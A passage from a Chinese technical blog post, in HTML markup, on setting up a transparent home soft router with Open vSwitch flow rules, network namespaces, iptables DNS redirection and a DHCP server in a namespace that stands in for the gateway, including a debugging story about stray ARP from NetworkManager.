&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ovs-ofctl add-flow ovsbr0 table=0,priority=500,\
    udp,in_port=vp-veth0-in-br,nw_dst=192.168.1.1,tp_dst=53,\
    actions=output:enp5s0
ovs-ofctl add-flow ovsbr0 table=0,priority=499,\
    udp,nw_dst=192.168.1.1,tp_dst=53,\
    actions=mod_dl_dst:d6:62:92:ee:ce:bf,output:vp-veth0-in-br
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这两条流表，前一条的含义是：对于所有从&lt;code&gt;vp-veth0&lt;&#x2F;code&gt;出来的指向网关的DNS包，全部送去上联（也就是送去光猫），而对于其他所有DNS包，全部送去&lt;code&gt;vp-veth0&lt;&#x2F;code&gt;。
这里通过priority实现了类似于“if-else”的语义。&lt;&#x2F;p&gt;
&lt;p&gt;这时如果在&lt;code&gt;netns:vproxy&lt;&#x2F;code&gt;里抓包，就能收到外面进来的DNS请求了。并且可以使用dig测试，在这个netns中可以正常向网关发出DNS请求、接收DNS响应。&lt;&#x2F;p&gt;
&lt;p&gt;现在包虽然进来了，但是由于&lt;code&gt;192.168.1.1&lt;&#x2F;code&gt;并不是本地ip，所以不会被处理。默认ip_forward也是关的，所以这个包也不会路由出去（如果ip_forward打开的话，这个包会被送到OVS里，根据规则，从&lt;code&gt;vp-veth0-in-br&lt;&#x2F;code&gt;过来的指向网关的DNS包都会到上联去，DNS其实也是能走通的）。&lt;&#x2F;p&gt;
&lt;p&gt;我们要配一条iptables规则，让我们的程序能够处理这些DNS请求。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;iptables -t nat -I PREROUTING -d 192.168.1.1 -p udp --dport 53 -j REDIRECT --to-ports 53
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里规则建在PREROUTING链上，表示入报文，匹配目的地址&lt;code&gt;192.168.1.1&lt;&#x2F;code&gt;，协议udp，目的端口53，执行REDIRECT，重定向到53端口。REDIRECT规则总是将包向本地导入。在回包的时候，会走conntrack，自动给它NAT回去。&lt;&#x2F;p&gt;
&lt;p&gt;此时，DNS配置完成。我们只要把进程启动起来就ok了，一般通过service文件即可做好配置，这里不详述。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-pei-zhi-xu-ni-ipde-wang-luo-huan-jing&quot;&gt;3. 配置虚拟ip的网络环境&lt;&#x2F;h3&gt;
&lt;p&gt;在之前的流量处理流程中讲到过，我的DNS代理进程会将要做流量处理的域名解析到一段虚拟的ip网段上。这里我选择的是&lt;code&gt;100.96.0.0&#x2F;11&lt;&#x2F;code&gt;。 由于我的流量处理进程和DNS代理就是同一个进程，所以很自然的，这个虚拟ip网段也需要扔到&lt;code&gt;netns:vproxy&lt;&#x2F;code&gt;里面。在netns里面的iptables和路由表都可以参照上面Cloudflare的那篇博客进行配置。这里着重说一说OVS的配置。&lt;&#x2F;p&gt;
&lt;p&gt;其实OVS里配置也很简单。我们看一下网络会怎么走。&lt;&#x2F;p&gt;
&lt;p&gt;由于&lt;code&gt;100.96.0.0&#x2F;11&lt;&#x2F;code&gt;在&lt;code&gt;192.168.1.0&#x2F;24&lt;&#x2F;code&gt;之外，所以客户端在访问这些虚拟ip时，会直接把包发给网关，也就是&lt;code&gt;192.168.1.1&lt;&#x2F;code&gt;，就和访问互联网一样，所以我们从IP层开始考虑就够了。&lt;&#x2F;p&gt;
&lt;p&gt;我们需要匹配目的地址是&lt;code&gt;100.96.0.0&#x2F;11&lt;&#x2F;code&gt; 的ip包，把它们全都发到&lt;code&gt;vp-veth0&lt;&#x2F;code&gt;网卡上。
此外，和上面DNS包一样，由于客户端想把包丢给网关，所以包的目的mac是网关的mac。为了把包发给&lt;code&gt;netns: vproxy&lt;&#x2F;code&gt;，这里还需要把mac地址改成&lt;code&gt;vp-veth0&lt;&#x2F;code&gt;的mac地址。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ovs-ofctl add-flow ovsbr0 table=0,priority=500,\
    ip,nw_dst=100.96.0.0&amp;#x2F;11,\
    actions=mod_dl_dst:d6:00:00:00:00:bf,output:vp-veth0-in-br
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一条流表即可。&lt;&#x2F;p&gt;
&lt;p&gt;在回包时，由于目的地址是&lt;code&gt;192.168.1.0&#x2F;24&lt;&#x2F;code&gt;内的，所以无需任何额外配置即可正常回去。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-yu-dao-liao-yi-dian-xiao-wen-ti&quot;&gt;4. 遇到了一点小问题&lt;&#x2F;h3&gt;
&lt;p&gt;在做配置时遇到过一个奇怪的现象。去ping&lt;code&gt;192.168.1.8&lt;&#x2F;code&gt;，也就是我的软路由时，发现有时能通有时不通，ssh也是如此，有时可通有时不通。于是我开着ping抓了个包，发现包能过去，但是响应没有发出。&lt;&#x2F;p&gt;
&lt;p&gt;我把&lt;code&gt;-e&lt;&#x2F;code&gt;打开一看，发现目的mac不是设备的mac。查了一下发现是下联网口的mac。在客户端看了下neighbor表，发现的确&lt;code&gt;192.168.1.8&lt;&#x2F;code&gt;指向的是下联网口。这就奇怪了。下联网口挂在OVS里面，也没有别的设备配置和它一样的mac，怎么会被arp学到呢。&lt;&#x2F;p&gt;
&lt;p&gt;于是我在软路由的&lt;code&gt;veth0&lt;&#x2F;code&gt;口、下联口，以及我的电脑上同时抓包。最终发现有一个&lt;code&gt;61.54.25.98&lt;&#x2F;code&gt;的ARP查询广播从下联口发出：&lt;code&gt;who has 61.54.25.98 tell 192.168.1.8&lt;&#x2F;code&gt;。其他设备看到广播后，就会直接把neighbor表中的&lt;code&gt;192.168.1.8&lt;&#x2F;code&gt;的mac指向下联。&lt;&#x2F;p&gt;
&lt;p&gt;这就很奇怪了。明明&lt;code&gt;61.54.25.98&lt;&#x2F;code&gt;是网段以外的ip，为什么会发ARP查它的mac呢？&lt;&#x2F;p&gt;
&lt;p&gt;这个ip对应的域名是&lt;code&gt;packages.deepin.com&lt;&#x2F;code&gt;。看起来是UOS自己内置程序的问题了。它会直接指定网卡发ARP，但是因为该网卡上没有绑ip，所以这个程序又扫了一遍已有的ip，然后选了它查到的第一个ip发送ARP，这就导致了上面看到的现象。&lt;&#x2F;p&gt;
&lt;p&gt;我们其实不需要知道是哪一个程序在指定网卡发ARP，因为即使找到对应程序，也不一定能关掉，即使能关掉，也不能保证后续其他程序不会触发类似的问题。一般来说，指定网卡发ARP时，肯定是会选择网卡上绑着的IP作为ARP的src。所以尝试给上联绑&lt;code&gt;192.168.1.8&lt;&#x2F;code&gt;，给下联绑&lt;code&gt;192.168.1.7&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;事实确实和预期的一致。现在下联看到的这种奇怪的ARP长这样，不会再扰乱neighbor表了：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openvswitch-soft-router&#x2F;ovs-arp-tcpdump-output.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;网卡绑IP，保证ARP不要乱&lt;&#x2F;p&gt;
&lt;p&gt;不过话说回来，罪魁祸首还是得找的。&lt;&#x2F;p&gt;
&lt;p&gt;首先我观察了一波ARP包的时间，非常有规律，每分钟发一轮，不过并非在0秒时开始，所以不像是crontab。我也翻了一遍crontab相关命令，并没有看到可能会发ARP的命令。
接下来把发ARP时的进程列表，和无ARP时的进程列表存了下来，并做了diff，结果没有任何差异。也就是说，触发ARP的进程并不是新进程，猜测就是一个daemon进程。
结合这个域名，估计十有八九是一个自带的UOS系统服务触发的。&lt;&#x2F;p&gt;
&lt;p&gt;于是开始对进程逐一排查，优先排查和应用商店、更新、网络相关的进程。因为猜测是系统进程，所以按进程号增序排查。&lt;&#x2F;p&gt;
&lt;p&gt;这个进程&lt;code&gt;&#x2F;usr&#x2F;sbin&#x2F;NetworkManager&lt;&#x2F;code&gt;映入眼帘。 很明显他是网络管理相关的进程。&lt;code&gt;strace -p $PID -f 2&amp;gt;&amp;amp;1 | grep &#x27;61.54.25.98&#x27;&lt;&#x2F;code&gt;。观察了五分钟，每一分钟都会和ARP抓包一起刷出日志。那就差不多了。看一眼完整的strace输出。&lt;&#x2F;p&gt;
&lt;p&gt;好家伙，它挨个网卡发请求。由于这几个网卡没有对应的路由表配置，于是不管目的ip是谁，它都会尝试走二层，就是说它会发ARP来做查询。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openvswitch-soft-router&#x2F;networkmanager-strace-arp-output.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;网络管理器的strace输出&lt;&#x2F;p&gt;
&lt;p&gt;直接在systemctl里查NetworkManager状态，果然能查到。虽然不知道具体是用来做什么的，不过先停了试试。停止后，NetworkManager进程消失，等待5分钟，也没有收到这样的ARP包了。&lt;&#x2F;p&gt;
&lt;p&gt;我怀疑这个进程是UOS上层UI里的网络配置相关的进程，所以VNC进去瞅了一眼。好家伙，网络配置管理中，几个网卡配置直接消失了～&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openvswitch-soft-router&#x2F;networkmanager-stopped-nics-gone.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;停止NetworkManager后，显示设备被删除&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openvswitch-soft-router&#x2F;networkmanager-stop-nics-gone.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;网卡都消失了～&lt;&#x2F;p&gt;
&lt;p&gt;其实从结果来看挺不错的，本身我就不想让UOS来管理网卡。之前是禁用，现在直接消失不给配置，似乎更合适。我直接把这个服务disable掉，后续重启也不会再启动了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemctl disable NetworkManager
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-dhcp&quot;&gt;5. DHCP&lt;&#x2F;h3&gt;
&lt;p&gt;上面我们配置了几个静态ip，其中一个是&lt;code&gt;192.168.1.7&lt;&#x2F;code&gt; 。当时配这个ip的时候arping和ping了一把，都没有找到这个ip。但是过了一会，发现有一个智能设备拉起。这个设备可能是在配置的空隙之间通过光猫的DHCP拿到了这个ip。后续续租时也没检查网段内的ip。所以它一直拿着这个ip不放。&lt;&#x2F;p&gt;
&lt;p&gt;本来其实不太想自己做DHCP的，但是既然遇到这个很坑的情况就不得不做了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt-get install isc-dhcp-server
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在&lt;code&gt;&#x2F;etc&#x2F;dhcp&#x2F;dhcpd.conf&lt;&#x2F;code&gt;中清空所有配置，并增加如下配置：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;default-lease-time 86400;
max-lease-time 86400;

subnet 192.168.1.0 netmask 255.255.255.0 {
  range  192.168.1.65 192.168.1.191;
  option routers 192.168.1.1;
  option domain-name-servers 192.168.1.1;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此外还需在&lt;code&gt;&#x2F;etc&#x2F;default&#x2F;isc-dhcp-server&lt;&#x2F;code&gt;中指定运行dhcp的网口：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;INTERFACESv4=&amp;quot;veth0&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接着拉起即可&lt;code&gt;systemctl start isc-dhcp-server&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;这里我是装了个dhcp server并直接运行。很明显，dhcp server的地址是veth0的ip地址，也就是&lt;code&gt;192.168.1.8&lt;&#x2F;code&gt;。
这样一来下联设备就会感知软路由（设备上会记录DHCP Server是&lt;code&gt;192.168.1.8&lt;&#x2F;code&gt;，而不是&lt;code&gt;192.168.1.1&lt;&#x2F;code&gt;），属于强迫症不能忍系列，我们需要让下联设备看到的dhcp服务器也是&lt;code&gt;192.168.1.1&lt;&#x2F;code&gt;才够优雅。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-xu-ni-wang-guan&quot;&gt;6. 虚拟网关&lt;&#x2F;h3&gt;
&lt;p&gt;如果想让客户端看到的DHCP Server也是网关地址，那么需要做稍微比较hack的处理。&lt;&#x2F;p&gt;
&lt;p&gt;从协议内容的角度来说，在DHCP响应中，会附带DHCP Server的“Identifier”，一般来说就是DHCP Server的ip地址。而DHCP Server的代码不在我手里，不改代码的情况下，代码中肯定是直接拿工作网口的地址，所以如果想要针对DHCP也做到透明，就必须让网卡绑定192.168.1.1。
从网络包的角度来说，众所周知，DHCP是包括广播的协议，由于广播的存在，我们没办法对一次DHCP请求响应建立一条conntrack，而本地的出包也没法走iptables snat，所以这个功能没法简单地用iptables实现。&lt;&#x2F;p&gt;
&lt;p&gt;为了解决这个问题，我们要虚拟出一个网关，并且要绑定网关地址（&lt;code&gt;192.168.1.1&lt;&#x2F;code&gt;）。&lt;&#x2F;p&gt;
&lt;p&gt;可能有人会说，不就是本地绑一个ip吗有什么难的。实际上问题比这复杂的多。&lt;&#x2F;p&gt;
&lt;p&gt;相信这两个常识大伙都有：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;同一个二层内，不能有两张网卡绑定相同的ip，否则ARP会乱。&lt;&#x2F;li&gt;
&lt;li&gt;同一个二层内，不能有两张网卡使用相同的mac，否则交换机会乱。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;而我们要做的事情是，在同一个二层内，有两张网卡，不但绑定相同的ip，还绑定相同的mac。&lt;&#x2F;p&gt;
&lt;p&gt;为了让网络不崩掉，首先我们需要知道交换机如何工作。&lt;&#x2F;p&gt;
&lt;p&gt;众所周知，我们平常看见的包的二层都是Ethernet，会有目的mac地址和源mac地址。交换机从一个网口&lt;code&gt;port0&lt;&#x2F;code&gt;收到一个包时，会检查它的源mac，并在mac表中记录“mac0对应了port0” 。接着交换机会检查包的目的mac，在mac表中查询目的mac对应的网口，比方说目的mac1对应了port1，那么这个包就会从port1发出。
一进一出一存一查，这样便完成了包的“交换”。&lt;&#x2F;p&gt;
&lt;p&gt;那么如果同一个网络下，有两台完全相同的设备（ip、mac均相同），我们会遇到什么问题呢？&lt;&#x2F;p&gt;
&lt;p&gt;在做ARP请求的广播时，两台设备都会收到广播，两台设备都会回复ARP响应。而响应的二层源mac，就是设备自身的mac。因为两台设备接在交换机的两个网口上，所以这两个设备会相互踢掉对方的mac表规则，导致指向这两台设备的包会不确定地到达这两台设备的其中一台上，流量会发生异常。
于是我们要在软路由上主动处理这种场景，让流出软路由的包不要受到影响：对于上联，由于软路由上联和光猫在同一个广播域，所以绝对不能向上联发送源mac是光猫mac的包；而对于下联则没有该限制，下联无法辨别 源mac是光猫mac的包 到底是从软路由上发出的 还是从光猫上发出的。&lt;&#x2F;p&gt;
&lt;p&gt;首先我们建一个netns和一对veth设备，当作“虚拟网关”使用。目前仅DHCP功能使用了“虚拟网关”，但是后续如果有其他需要也可以把相关功能加到这个netns中。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ip netns add gw
ip link add gw0 type veth peer name gw0-in-br
ip link set gw0-in-br up
ovs-vsctl add-port ovsbr0 gw0-in-br
ip link set gw0 netns gw
ip netns exec gw ip link set gw0 address 18:75:00:00:00:e8 # 抹去了mac信息
ip netns exec gw ip link set gw0 up
ip netns exec gw ip addr add 192.168.1.1&amp;#x2F;24 dev gw0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样我们就有了一个“虚拟网关”了。这里ip是网关的ip，mac是网关的mac（网关的mac可以通过&lt;code&gt;ip neigh&lt;&#x2F;code&gt;查看）。现在我们要手动处理一下网关的流量。&lt;&#x2F;p&gt;
&lt;p&gt;首先我们目前在虚拟网关netns中，只会跑DHCP Server。其次我们也希望下联所有设备都在虚拟网关中处理DHCP。那么我们需要添加几条流表：对于所有DHCP请求，都发往虚拟网关。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ovs-ofctl add-flow ovsbr0 table=0,priority=1000,\
    udp,tp_src=68,tp_dst=67,
    actions=output:gw0-in-br
ovs-ofctl add-flow ovsbr0 table=0,priority=1000,\
    udp,tp_src=67,tp_dst=68,
    actions=output:enp1s0 # downlink
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里对于所有DHCP Server发出的包，都送往下联，不考虑软路由内部的各个veth口。这是因为我们的软路由里面所有的ip都是静态ip，无需DHCP。&lt;&#x2F;p&gt;
&lt;p&gt;对于客户端查询192.168.1.1的ARP请求，可以一律送往上联，此时由上联返回它自己的mac地址。 这样，对于上联光猫来说，它可以看到客户端发来的ARP，可以看到客户端的mac地址，刷新它的neighbor表。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ovs-ofctl add-flow ovsbr0 table=0,priority=1000,\
    arp,nw_dst=192.168.1.1,
    actions=output:enp5s0 # downlink
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在DHCP Server进行响应时，是需要单播的。而单播就必须通过ARP获取ip对应的mac地址（也许DHCP Server实现时可以直接拿客户端发过来的mac地址作为目的mac，但是也有可能只是开UDP口，不感知底下的Ethernet头，这种情况就会发ARP）。
所以现在会有两个&lt;code&gt;192.168.1.1&lt;&#x2F;code&gt;发起的ARP请求，一个由光猫发出从上联进来，一个由&lt;code&gt;netns:gw&lt;&#x2F;code&gt; 发出，从&lt;code&gt;gw0-in-br&lt;&#x2F;code&gt;虚拟网口进来。并且ARP请求是一个广播。
这里我们必须手动处理源mac是网关mac的广播包。因为同一个mac不能让它出现在不同的交换机口上，所以我们要把源mac是网关mac的广播包发往“除了上联和&lt;code&gt;gw0&lt;&#x2F;code&gt;之外的所有网卡” 。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ovs-ofctl add-flow ovsbr0 table=0,priority=1000,
    dl_dst=ff:ff:ff:ff:ff:ff,dl_src=192.168.1.1,
    actions=output:enp1s0,output:veth0-in-br,output:vp-veth0-in-br
#                  donwlink      local              vproxy
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;既然有发就有收。当看到一个回复给网关的arp包时，我们不能确定这个响应包对应的请求是从网关发出的还是从我们的虚拟网关发出的。所以干脆把包复制两份，两个网口都发出去。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ovs-ofctl add-flow ovsbr0 table=0,priority=1000,
    arp,dl_dst=18:75:00:00:00:e8, # 抹去了mac信息
    actions=output:enp5s0,output:gw0-in-br
#           uplink        virtual gw
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对于其他非ARP、非DHCP的包，如果目的mac地址是网关mac，那么就应该送到网关去，也就是应当从上联网口出去。我们配置一个低优先级流处理这些包。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ovs-ofctl add-flow ovsbr0 table=0,priority=200,
    dl_dst=18:75:00:00:00:e8, # 抹去了mac信息
    actions=output:enp5s0 # uplink
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;除此之外，我们还需要配置一些兜底的“安全规则”，彻底防止源mac是网关mac的包被发往网关或者虚拟网关。前面已经处理过源mac是网关mac的广播了，这里再处理一下单播即可。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ovs-ofctl add-flow ovsbr0 table=0,priority=1000,
    dl_src=18:75:00:00:00:e8, # 抹去了mac信息
    dl_dst=18:75:00:00:00:e8, # 抹去了mac信息
    actions=drop
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;到此我们关于“虚拟网关”的配置已经完成了。接下来我们需要在&lt;code&gt;netns:gw&lt;&#x2F;code&gt;里面启动dhcp server。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;isc-dhcp-server&lt;&#x2F;code&gt; 的启动配置位于&lt;code&gt;&#x2F;etc&#x2F;init.d&#x2F;isc-dhcp-server&lt;&#x2F;code&gt;。在其start分支启动代码更改为如下内容&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sleep 2s
&amp;#x2F;usr&amp;#x2F;sbin&amp;#x2F;ip netns exec gw start-stop-daemon --start ... # 后面省略
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里之所以要sleep 2s，是因为dhcp server的启动和我们配置网卡的脚本是同时执行的，通过简单的sleep就可以保证网卡配置早于dhcp server启动。&lt;&#x2F;p&gt;
&lt;p&gt;此外，网卡配置也要改一下，改成我们的&lt;code&gt;gw0&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;vim &amp;#x2F;etc&amp;#x2F;default&amp;#x2F;isc-dhcp-server
INTERFACESv4=&amp;quot;gw0&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;7-qi-ta-pei-zhi&quot;&gt;7. 其他配置&lt;&#x2F;h3&gt;
&lt;p&gt;到此我们已经完成了所有预期功能的流表配置。但除此之外最好增加一些兜底容错流表，防止后续修改时改出问题。&lt;&#x2F;p&gt;
&lt;p&gt;首先是DHCP。光猫上的DHCP没有禁用，为了完全透明，我们不禁用光猫的DHCP，而是在OVS中配置流表丢掉光猫上的DHCP包。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ovs-ofctl add-flow ovsbr0 table=0,priority=1000,\
    udp,in_port=enp5s0,tp_src=67,tp_dst=68,\
    actions=drop
ovs-ofctl add-flow ovsbr0 table=0,priority=1000,\
    udp,in_port=enp5s0,tp_src=68,tp_dst=67,\
    actions=drop
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此外我们还在&lt;code&gt;netns:vproxy&lt;&#x2F;code&gt;中处理了指向&lt;code&gt;192.168.1.1&lt;&#x2F;code&gt;的包。为了防止今后配置时误配ip或者local路由，我们最好把这个口发出的&lt;code&gt;192.168.1.1&lt;&#x2F;code&gt;arp禁用，以绝后患。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ovs-ofctl add-flow ovsbr0 table=0,priority=1000,\
    arp,in_port=vp-veth0-in-br,nw_src=192.168.1.1,\
    actions=drop
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由于电信没给我分配公网ipv6，我们干脆也把ipv6全禁用好了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ovs-ofctl add-flow ovsbr0 table=0,priority=1000,\
    ipv6,\
    actions=drop
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;8-qi-ta-ruan-jian&quot;&gt;8. 其他软件&lt;&#x2F;h3&gt;
&lt;p&gt;为了更方便地操作图形界面，我装了一个VNC Server和一个NoVNC。其中VNC Server只跑在本地，NoVNC通过https暴露安全连接，在网页即可安全地使用图形界面了。&lt;&#x2F;p&gt;
&lt;p&gt;装起来也是比较简单。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;apt-get install x11vnc novnc python-websockify
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;简单的配置一下即可。配置我都放在附录里了可供参考。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wei-sheng&quot;&gt;尾声&lt;&#x2F;h2&gt;
&lt;p&gt;现在我们已经搭起了一个完整的软路由。这个软路由接在光猫和家庭设备之间，并且对光猫和家庭设备都透明：光猫感知不到软路由的存在，家庭设备也感知不到软路由的存在，但是DHCP、DNS和一部分需要处理的流量，皆由软路由接管。&lt;&#x2F;p&gt;
&lt;p&gt;这里我们用到的技术也比较简单，规则都比较直接。除了虚拟网关那里稍微有点hack，其他都是普普通通常见的技术：OVS、veth、netns、iptables，在大部分K8S环境中都在广泛使用。这个软路由的搭建经验也可以直接用于其他SDN领域。有用的经验又增加了！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fu-lu&quot;&gt;附录&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;bu-shi-yong-ovsde-da-jian-si-lu&quot;&gt;不使用OVS的搭建思路&lt;&#x2F;h3&gt;
&lt;p&gt;把设备当作路由，打开&lt;code&gt;ip_forward&lt;&#x2F;code&gt;，上下联网口都配上ip。&lt;&#x2F;p&gt;
&lt;p&gt;由于没有OVS，所以上下联被划分为两个广播域，对于ARP、DHCP等广播信息就必须做中继。不过好在也有成熟的方案可用。&lt;&#x2F;p&gt;
&lt;p&gt;上联要配死&lt;code&gt;&#x2F;32&lt;&#x2F;code&gt;的静态路由指向光猫，默认路由也是走上联，而广播域要走下联。&lt;&#x2F;p&gt;
&lt;p&gt;对于DNS，一条Prerouting链里配一条Redirect即可导入本地，和本文的方式一样处理；本文使用的虚拟网段也是直接按文中所述配置即可。&lt;&#x2F;p&gt;
&lt;p&gt;对于DHCP，理论上应该也可以实现，不过我没试过。首先开一个netns，挂一个veth pair，一端在ns里一端在ns外。ns里绑192.168.1.1&#x2F;32，只配置一条&#x2F;32的静态路由和一条默认路由，指向ns外面的ip。然后在ns里配置静态arp表，把外面的ip固定下来。这样就无需发送arp查询即可发包了。而ns外面也类似的，配一条路由和一条静态arp表。这里注意，路由和arp表里的ip最好不要写本网络（&lt;code&gt;192.168.1.0&#x2F;24&lt;&#x2F;code&gt;）网段下的，而是随便选一个假ip，比如&lt;code&gt;100.64.1.2&lt;&#x2F;code&gt;。
大概如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# ns 外面
ip route add 100.64.1.2&amp;#x2F;32 dev veth0
arp -s 100.64.2.1 &amp;quot;00:00:00:00:00:02&amp;quot; # 这里配ns里面网口的mac地址

# ns 里面
ip route add 100.64.2.1&amp;#x2F;32 dev veth1
arp -s 100.64.1.2 &amp;quot;00:00:00:00:00:01&amp;quot; # 这里配ns外面网口的mac地址
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后在ns外面开dhcp中继，运行于下联网口上，把dhcp包中转给&lt;code&gt;100.64.2.1&lt;&#x2F;code&gt;。由于中继包都是单播，所以可以做conntrack，也就可以很方便地做NAT。
此外，netns里必须关闭arp，否则可能会扰乱neighbor表。&lt;&#x2F;p&gt;
&lt;p&gt;总结一下，不加上OVS，规则复杂度高、所有包都要走协议栈过一圈做三层转发性能差、配规则比较hack不简洁。唯一的好处可能就是网卡不需要托管给OVS，可以用系统内置的可视化网络界面做配置。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pei-zhi-hui-zong&quot;&gt;配置汇总&lt;&#x2F;h3&gt;
&lt;h3 id=&quot;qi-dong-jiao-ben&quot;&gt;启动脚本&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;&#x2F;etc&#x2F;rc.local&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
